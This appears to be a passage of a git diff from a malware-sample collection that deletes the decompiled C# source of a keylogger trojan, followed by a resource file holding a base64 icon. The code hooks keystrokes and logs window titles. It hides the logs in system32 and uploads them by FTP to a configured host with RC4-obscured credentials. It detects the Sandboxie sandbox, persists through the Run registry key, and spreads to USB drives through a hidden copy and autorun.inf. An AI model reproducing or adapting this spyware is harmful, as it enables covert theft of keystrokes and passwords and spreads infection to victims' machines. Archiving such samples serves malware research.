case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_22; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_17; - } - throw ProjectData.CreateProjectError(-2146828237); -label_22: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void Timer2_Tick(object sender, EventArgs e) - { - if (Operators.CompareString(this.cEhQYpIOzoNaFpKaefSd, this.GetActiveWindowTitle(), false) != 0 && Operators.CompareString(this.GetActiveWindowTitle(), "", false) != 0) - { - this.dSai89gbJkSU4b1WW9CW = this.dSai89gbJkSU4b1WW9CW + "===[" + this.GetActiveWindowTitle() + "]===\r\n"; - this.cEhQYpIOzoNaFpKaefSd = this.GetActiveWindowTitle(); - } - this.Hide(); - this.Visible = false; - } - - private void Timer3_Tick(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - string text1 = this.extensions1.Text; -label_2: - num3 = 3; - this.iAs34n4atf4AnzG71Bgw = Form1.rc4(text1, "qwerty"); -label_3: - num3 = 4; - string text2 = this.extensions2.Text; -label_4: - num3 = 5; - this.a6zPFCgoeSCFtcbDB2qJl = Form1.rc4(text2, "qwerty1"); -label_5: - num3 = 6; - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create("ftp://" + this.SzLWEQQH9aoPrufxF5RC + "/Lonely Logger Public Version 1.0 Logs" + this.UxNMTN2VJWMHohFePcTT + ".txt"); -label_6: - num3 = 7; - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(this.iAs34n4atf4AnzG71Bgw, this.a6zPFCgoeSCFtcbDB2qJl); -label_7: - num3 = 8; - ftpWebRequest.Method = "STOR"; -label_8: - num3 = 9; - string sai89gbJkSu4b1Ww9Cw = this.dSai89gbJkSU4b1WW9CW; -label_9: - num3 = 10; - FileStream fileStream = new FileStream("C:\\WINDOWS\\system32\\" + this.UxNMTN2VJWMHohFePcTT, FileMode.Create, FileAccess.Write); -label_10: - num3 = 11; - StreamWriter streamWriter = new StreamWriter((Stream) fileStream); -label_11: - num3 = 12; - streamWriter.BaseStream.Seek(0L, SeekOrigin.End); -label_12: - num3 = 13; - streamWriter.WriteLine(sai89gbJkSu4b1Ww9Cw); -label_13: - num3 = 14; - streamWriter.Close(); -label_14: - num3 = 15; - byte[] buffer = System.IO.File.ReadAllBytes("C:\\WINDOWS\\system32\\" + this.UxNMTN2VJWMHohFePcTT); -label_15: - num3 = 16; - Stream requestStream = ftpWebRequest.GetRequestStream(); -label_16: - num3 = 17; - requestStream.Write(buffer, 0, buffer.Length); -label_17: - num3 = 18; - requestStream.Close(); -label_18: - num3 = 19; - requestStream.Dispose(); -label_19: - num3 = 20; - FileSystem.SetAttr("C:\\WINDOWS\\system32\\" + this.UxNMTN2VJWMHohFePcTT, FileAttribute.Hidden); -label_20: - num3 = 21; - this.UxNMTN2VJWMHohFePcTT = Conversions.ToString(Conversions.ToDouble(this.UxNMTN2VJWMHohFePcTT) + 1.0); - goto label_27; -label_22: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - goto label_17; - case 19: - goto label_18; - case 20: - goto label_19; - case 21: - goto label_20; - case 22: - goto label_27; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_22; - } - throw ProjectData.CreateProjectError(-2146828237); -label_27: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpModuleName); - - private bool PeUvHMK6JhO2FrK2E2PA() - { - bool flag; - try - { - string lpModuleName = "SbieDll.dll"; - if (Form1.GetModuleHandle(ref lpModuleName) != 0L) - flag = true; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return flag; - } - - public static void CLcGej61sAOadow3o7J1(string Name, string Path) => Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(Name, (object) Path, RegistryValueKind.String); - - public void XEqcJbhViQGgS7eTUucl(string filename) - { - try - { - string environmentVariable = Environment.GetEnvironmentVariable("windir"); - if (Operators.CompareString(Application.StartupPath, environmentVariable, false) != 0) - { - FileSystem.FileCopy(Application.ExecutablePath, environmentVariable + "\\" + filename); - FileSystem.SetAttr(environmentVariable + "\\" + this.qweqw545sa4d798wqe, FileAttribute.Hidden); - Interaction.Shell(environmentVariable + "\\" + filename + " " + Application.ExecutablePath); - ProjectData.EndApp(); - } - else - FileSystem.Kill(Interaction.Command()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void buNcDHzIpxpI8Avedgn1() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", "Hidden", (object) "0", RegistryValueKind.DWord); -label_2: - num3 = 3; - string[] logicalDrives = Environment.GetLogicalDrives(); -label_3: - num3 = 4; - int num4 = checked (logicalDrives.Length - 1); - int index = 0; - goto label_13; -label_4: - num3 = 5; - DriveInfo driveInfo = new DriveInfo(logicalDrives[index]); -label_5: - num3 = 6; - if (driveInfo.DriveType != DriveType.Removable) - goto label_12; -label_6: - num3 = 7; - if (!driveInfo.IsReady) - goto label_12; -label_7: - num3 = 8; - if (System.IO.File.Exists(logicalDrives[index] + "yrfevE8hm69TWbOwaMl3.exe")) - goto label_12; -label_8: - num3 = 9; - System.IO.File.Copy(Application.ExecutablePath, logicalDrives[index] + "yrfevE8hm69TWbOwaMl3.exe", true); -label_9: - num3 = 10; - MyProject.Computer.FileSystem.WriteAllText(logicalDrives[index] + "shutorun.inf", "[autorun]\r\nopen=" + logicalDrives[index] + "yrfevE8hm69TWbOwaMl3.exe\r\nshellexecute=" + logicalDrives[index], true); -label_10: - num3 = 11; - FileSystem.SetAttr(logicalDrives[index] + "yrfevE8hm69TWbOwaMl3.exe", FileAttribute.Hidden); -label_11: - num3 = 12; - FileSystem.SetAttr(logicalDrives[index] + "shutorun.inf", FileAttribute.Hidden); -label_12: - num3 = 16; - checked { ++index; } -label_13: - if (index <= num4) - goto label_4; - else - goto label_20; -label_15: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - case 14: - case 15: - case 16: - goto label_12; - case 17: - goto label_20; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_15; - } - throw ProjectData.CreateProjectError(-2146828237); -label_20: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - protected override void WndProc(ref System.Windows.Forms.Message m) - { - if (m.Msg == 537) - this.a5UX0kmxcNswoXvSb5GVy(ref m); - base.WndProc(ref m); - } - - private void a5UX0kmxcNswoXvSb5GVy(ref System.Windows.Forms.Message msg) - { - switch ((int) msg.WParam) - { - case 32768: - this.buNcDHzIpxpI8Avedgn1(); - break; - } - } - - private void sIfIrAbVM1vlfdT9RJoK() - { - Form1.Win32.DEV_BROADCAST_DEVICEINTERFACE structure = new Form1.Win32.DEV_BROADCAST_DEVICEINTERFACE(); - int cb = Marshal.SizeOf((object) structure); - structure.dbcc_size = cb; - structure.dbcc_devicetype = 5; - structure.dbcc_reserved = 0; - structure.dbcc_classguid = Form1.Win32.GUID_DEVINTERFACE_HID; - structure.dbcc_name = (short) 0; - IntPtr num1 = Marshal.AllocHGlobal(cb); - Marshal.StructureToPtr((object) structure, num1, true); - int num2 = Form1.Win32.RegisterDeviceNotification(this.Handle, num1, 0) == IntPtr.Zero ? 1 : 0; - } - - public static string rc4(string message, string esendx666word) - { - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = esendx666word.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = esendx666word.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - location1 = 1; - while (location1 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - - public class KeyboardHook - { - private const int HC_ACTION = 0; - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private const int WM_KEYUP = 257; - private const int WM_SYSKEYDOWN = 260; - private const int WM_SYSKEYUP = 261; - private static int KeyHook; - private static Form1.KeyboardHook.KeyboardProcDelegate KeyHookDelegate; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Form1.KeyboardHook.KeyboardProcDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int UnhookWindowsHookEx(int hHook); - - public static event Form1.KeyboardHook.KeyDownEventHandler KeyDown; - - public static event Form1.KeyboardHook.KeyUpEventHandler KeyUp; - - public KeyboardHook() - { - Form1.KeyboardHook.KeyHookDelegate = new Form1.KeyboardHook.KeyboardProcDelegate(Form1.KeyboardHook.KeyboardProc); - Form1.KeyboardHook.KeyHook = Form1.KeyboardHook.SetWindowsHookEx(13, Form1.KeyboardHook.KeyHookDelegate, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private static int KeyboardProc( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam) - { - if (nCode == 0) - { - switch (wParam) - { - case 256: - case 260: - Form1.KeyboardHook.KeyDownEventHandler keyDownEvent = Form1.KeyboardHook.KeyDownEvent; - if (keyDownEvent != null) - { - keyDownEvent((Keys) lParam.vkCode); - break; - } - break; - case 257: - case 261: - Form1.KeyboardHook.KeyUpEventHandler keyUpEvent = Form1.KeyboardHook.KeyUpEvent; - if (keyUpEvent != null) - { - keyUpEvent((Keys) lParam.vkCode); - break; - } - break; - } - } - return Form1.KeyboardHook.CallNextHookEx(Form1.KeyboardHook.KeyHook, nCode, wParam, lParam); - } - - ~KeyboardHook() - { - Form1.KeyboardHook.UnhookWindowsHookEx(Form1.KeyboardHook.KeyHook); - // ISSUE: explicit finalizer call - base.Finalize(); - } - - private struct KBDLLHOOKSTRUCT - { - public int vkCode; - public int scancode; - public int flags; - public int time; - public int dwExtraInfo; - } - - private delegate int KeyboardProcDelegate( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - public delegate void KeyDownEventHandler(Keys Key); - - public delegate void KeyUpEventHandler(Keys Key); - } - - public class Win32 - { - public const int WM_DEVICECHANGE = 537; - public const int DBT_DEVICEARRIVAL = 32768; - public const int DBT_DEVICEREMOVECOMPLETE = 32772; - public const int DEVICE_NOTIFY_WINDOW_HANDLE = 0; - public const int DEVICE_NOTIFY_SERVICE_HANDLE = 1; - public const int DBT_DEVTYP_DEVICEINTERFACE = 5; - public static Guid GUID_DEVINTERFACE_HID = new Guid("4D1E55B2-F16F-11CF-88CB-001111000030"); - - [DebuggerNonUserCode] - public Win32() - { - } - - public static IntPtr RegisterDeviceNotification( - IntPtr hRecipient, - IntPtr NotificationFilter, - int Flags) - { - IntPtr num; - return num; - } - - public static int GetLastError() - { - int lastError; - return lastError; - } - - public class DEV_BROADCAST_DEVICEINTERFACE - { - public int dbcc_size; - public int dbcc_devicetype; - public int dbcc_reserved; - public Guid dbcc_classguid; - public short dbcc_name; - - [DebuggerNonUserCode] - public DEV_BROADCAST_DEVICEINTERFACE() - { - } - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Form1.resx deleted file mode 100644 index 98e897e5..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Form1.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 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